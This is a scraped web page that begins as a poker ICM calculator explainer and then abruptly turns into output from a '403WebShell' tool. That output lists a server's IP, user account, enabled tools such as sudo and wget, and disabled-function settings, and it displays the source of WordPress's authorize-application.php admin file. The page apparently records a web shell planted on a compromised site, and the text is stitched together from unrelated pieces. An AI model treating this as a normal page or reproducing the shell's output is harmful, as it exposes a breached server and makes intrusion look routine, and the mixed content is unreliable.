Use this ICM calculator to convert tournament chip stacks into real-money equity based on payout structures, remaining players, and chip stacks. The Independent Chip Model (ICM) helps poker players make mathematically optimal decisions in high-pressure situations like the bubble and final table.
Calculate tournament equity instantly
Adjust for stack sizes and payout structure
Improve shove, call, and fold decisions
What is ICM in Poker?
The Independent Chip Model (ICM) is a mathematical model used in poker tournaments to estimate a player’s share of the prize pool based on their chip stack relative to other players.
Unlike cash games, tournament chips do not have a linear value. This means doubling your stack does not double your expected winnings. ICM accounts for this by factoring in payout structures and the probability of finishing in each position.
How This ICM Calculator Works
This calculator converts chip stacks into Expected Value (EV) by simulating how often each player finishes in each payout position.
To use it effectively, input:
Each player’s chip stack
The tournament payout structure
The calculator then outputs each player’s equity as a percentage of the total prize pool.
When Should You Use ICM?
ICM is most important in high-leverage tournament situations, including:
The bubble - when one player remains before payouts begin
Final tables - where payout jumps are significant
Short-handed play - where each decision has larger impact
In these spots, correct ICM decisions can dramatically increase your long-term tournament ROI.
ICM Strategy Tips
Understanding ICM leads to better strategic adjustments:
Play tighter when calling all-ins near the bubble
Apply pressure as a big stack against medium stacks
Avoid marginal spots when survival has significant value
Recognize payout jumps before making aggressive plays
403WebShell
403Webshell
Server IP : 18.223.242.41 / Your IP : 216.73.216.206 Web Server : Apache System : Linux ip-172-26-5-222 6.1.0-51-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64 User : bitnami ( 1000) PHP Version : 8.3.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /opt/bitnami/apps/wordpress/wp-admin/
Current File : /opt/bitnami/apps/wordpress/wp-admin/authorize-application.php
<?php
/**
* Authorize Application Screen
*
* @package WordPress
* @subpackage Administration
*/
/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';
$error = null;
$new_password = '';
// This is the no-js fallback script. Generally this will all be handled by `auth-app.js`.
if ( isset( $_POST['action'] ) && 'authorize_application_password' === $_POST['action'] ) {
check_admin_referer( 'authorize_application_password' );
$success_url = $_POST['success_url'];
$reject_url = $_POST['reject_url'];
$app_name = $_POST['app_name'];
$app_id = $_POST['app_id'];
$redirect = '';
if ( isset( $_POST['reject'] ) ) {
if ( $reject_url ) {
$redirect = $reject_url;
} else {
$redirect = admin_url();
}
} elseif ( isset( $_POST['approve'] ) ) {
$created = WP_Application_Passwords::create_new_application_password(
get_current_user_id(),
array(
'name' => $app_name,
'app_id' => $app_id,
)
);
if ( is_wp_error( $created ) ) {
$error = $created;
} else {
list( $new_password ) = $created;
if ( $success_url ) {
$redirect = add_query_arg(
array(
'site_url' => urlencode( site_url() ),
'user_login' => urlencode( wp_get_current_user()->user_login ),
'password' => urlencode( $new_password ),
),
$success_url
);
}
}
}
if ( $redirect ) {
// Explicitly not using wp_safe_redirect b/c sends to arbitrary domain.
wp_redirect( $redirect );
exit;
}
}
// Used in the HTML title tag.
$title = __( 'Authorize Application' );
$app_name = ! empty( $_REQUEST['app_name'] ) ? $_REQUEST['app_name'] : '';
$app_id = ! empty( $_REQUEST['app_id'] ) ? $_REQUEST['app_id'] : '';
$success_url = ! empty( $_REQUEST['success_url'] ) ? $_REQUEST['success_url'] : null;
if ( ! empty( $_REQUEST['reject_url'] ) ) {
$reject_url = $_REQUEST['reject_url'];
} elseif ( $success_url ) {
$reject_url = add_query_arg( 'success', 'false', $success_url );
} else {
$reject_url = null;
}
$user = wp_get_current_user();
$request = compact( 'app_name', 'app_id', 'success_url', 'reject_url' );
$is_valid = wp_is_authorize_application_password_request_valid( $request, $user );
if ( is_wp_error( $is_valid ) ) {
wp_die(
__( 'The Authorize Application request is not allowed.' ) . ' ' . implode( ' ', $is_valid->get_error_messages() ),
__( 'Cannot Authorize Application' )
);
}
if ( wp_is_site_protected_by_basic_auth( 'front' ) ) {
wp_die(
__( 'Your website appears to use Basic Authentication, which is not currently compatible with application passwords.' ),
__( 'Cannot Authorize Application' ),
array(
'response' => 501,
'link_text' => __( 'Go Back' ),
'link_url' => $reject_url ? add_query_arg( 'error', 'disabled', $reject_url ) : admin_url(),
)
);
}
if ( ! wp_is_application_passwords_available_for_user( $user ) ) {
if ( wp_is_application_passwords_available() ) {
$message = __( 'Application passwords are not available for your account. Please contact the site administrator for assistance.' );
} else {
$message = __( 'Application passwords are not available.' );
}
wp_die(
$message,
__( 'Cannot Authorize Application' ),
array(
'response' => 501,
'link_text' => __( 'Go Back' ),
'link_url' => $reject_url ? add_query_arg( 'error', 'disabled', $reject_url ) : admin_url(),
)
);
}
wp_enqueue_script( 'auth-app' );
wp_localize_script(
'auth-app',
'authApp',
array(
'site_url' => site_url(),
'user_login' => $user->user_login,
'success' => $success_url,
'reject' => $reject_url ? $reject_url : admin_url(),
)
);
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>
<?php
if ( is_wp_error( $error ) ) {
wp_admin_notice(
$error->get_error_message(),
array(
'type' => 'error',
)
);
}
?>
<div class="card auth-app-card">
<h2 class="title"><?php _e( 'An application would like to connect to your account.' ); ?></h2>
<?php if ( $app_name ) : ?>
<p>
<?php
printf(
/* translators: %s: Application name. */
__( 'Would you like to give the application identifying itself as %s access to your account? You should only do this if you trust the application in question.' ),
'<strong>' . esc_html( $app_name ) . '</strong>'
);
?>
</p>
<?php else : ?>
<p><?php _e( 'Would you like to give this application access to your account? You should only do this if you trust the application in question.' ); ?></p>
<?php endif; ?>
<?php
if ( is_multisite() ) {
$blogs = get_blogs_of_user( $user->ID, true );
$blogs_count = count( $blogs );
if ( $blogs_count > 1 ) {
?>
<p>
<?php
/* translators: 1: URL to my-sites.php, 2: Number of sites the user has. */
$message = _n(
'This will grant access to <a href="%1$s">the %2$s site in this installation that you have permissions on</a>.',
'This will grant access to <a href="%1$s">all %2$s sites in this installation that you have permissions on</a>.',
$blogs_count
);
if ( is_super_admin() ) {
/* translators: 1: URL to my-sites.php, 2: Number of sites the user has. */
$message = _n(
'This will grant access to <a href="%1$s">the %2$s site on the network as you have Super Admin rights</a>.',
'This will grant access to <a href="%1$s">all %2$s sites on the network as you have Super Admin rights</a>.',
$blogs_count
);
}
printf(
$message,
admin_url( 'my-sites.php' ),
number_format_i18n( $blogs_count )
);
?>
</p>
<?php
}
}
?>
<?php
if ( $new_password ) :
$message = '<p class="application-password-display">
<label for="new-application-password-value">' . sprintf(
/* translators: %s: Application name. */
esc_html__( 'Your new password for %s is:' ),
'<strong>' . esc_html( $app_name ) . '</strong>'
) . '
</label>
<input id="new-application-password-value" type="text" class="code" readonly="readonly" value="' . esc_attr( WP_Application_Passwords::chunk_password( $new_password ) ) . '" />
</p>
<p>' . __( 'Be sure to save this in a safe location. You will not be able to retrieve it.' ) . '</p>';
$args = array(
'type' => 'success',
'additional_classes' => array( 'notice-alt', 'below-h2' ),
'paragraph_wrap' => false,
);
wp_admin_notice( $message, $args );
/**
* Fires in the Authorize Application Password new password section in the no-JS version.
*
* In most cases, this should be used in combination with the {@see 'wp_application_passwords_approve_app_request_success'}
* action to ensure that both the JS and no-JS variants are handled.
*
* @since 5.6.0
* @since 5.6.1 Corrected action name and signature.
*
* @param string $new_password The newly generated application password.
* @param array $request The array of request data. All arguments are optional and may be empty.
* @param WP_User $user The user authorizing the application.
*/
do_action( 'wp_authorize_application_password_form_approved_no_js', $new_password, $request, $user );
else :
?>
<form action="<?php echo esc_url( admin_url( 'authorize-application.php' ) ); ?>" method="post" class="form-wrap">
<?php wp_nonce_field( 'authorize_application_password' ); ?>
<input type="hidden" name="action" value="authorize_application_password" />
<input type="hidden" name="app_id" value="<?php echo esc_attr( $app_id ); ?>" />
<input type="hidden" name="success_url" value="<?php echo esc_url( $success_url ); ?>" />
<input type="hidden" name="reject_url" value="<?php echo esc_url( $reject_url ); ?>" />
<div class="form-field">
<label for="app_name"><?php _e( 'New Application Password Name' ); ?></label>
<input type="text" id="app_name" name="app_name" value="<?php echo esc_attr( $app_name ); ?>" required />
</div>
<?php
/**
* Fires in the Authorize Application Password form before the submit buttons.
*
* @since 5.6.0
*
* @param array $request {
* The array of request data. All arguments are optional and may be empty.
*
* @type string $app_name The suggested name of the application.
* @type string $success_url The URL the user will be redirected to after approving the application.
* @type string $reject_url The URL the user will be redirected to after rejecting the application.
* }
* @param WP_User $user The user authorizing the application.
*/
do_action( 'wp_authorize_application_password_form', $request, $user );
?>
<?php
submit_button(
__( 'Yes, I approve of this connection' ),
'primary',
'approve',
false,
array(
'aria-describedby' => 'description-approve',
)
);
?>
<p class="description" id="description-approve">
<?php
if ( $success_url ) {
printf(
/* translators: %s: The URL the user is being redirected to. */
__( 'You will be sent to %s' ),
'<strong><code>' . esc_html(
add_query_arg(
array(
'site_url' => site_url(),
'user_login' => $user->user_login,
'password' => '[------]',
),
$success_url
)
) . '</code></strong>'
);
} else {
_e( 'You will be given a password to manually enter into the application in question.' );
}
?>
</p>
<?php
submit_button(
__( 'No, I do not approve of this connection' ),
'secondary',
'reject',
false,
array(
'aria-describedby' => 'description-reject',
)
);
?>
<p class="description" id="description-reject">
<?php
if ( $reject_url ) {
printf(
/* translators: %s: The URL the user is being redirected to. */
__( 'You will be sent to %s' ),
'<strong><code>' . esc_html( $reject_url ) . '</code></strong>'
);
} else {
_e( 'You will be returned to the WordPress Dashboard, and no changes will be made.' );
}
?>
</p>
</form>
<?php endif; ?>
</div>
</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
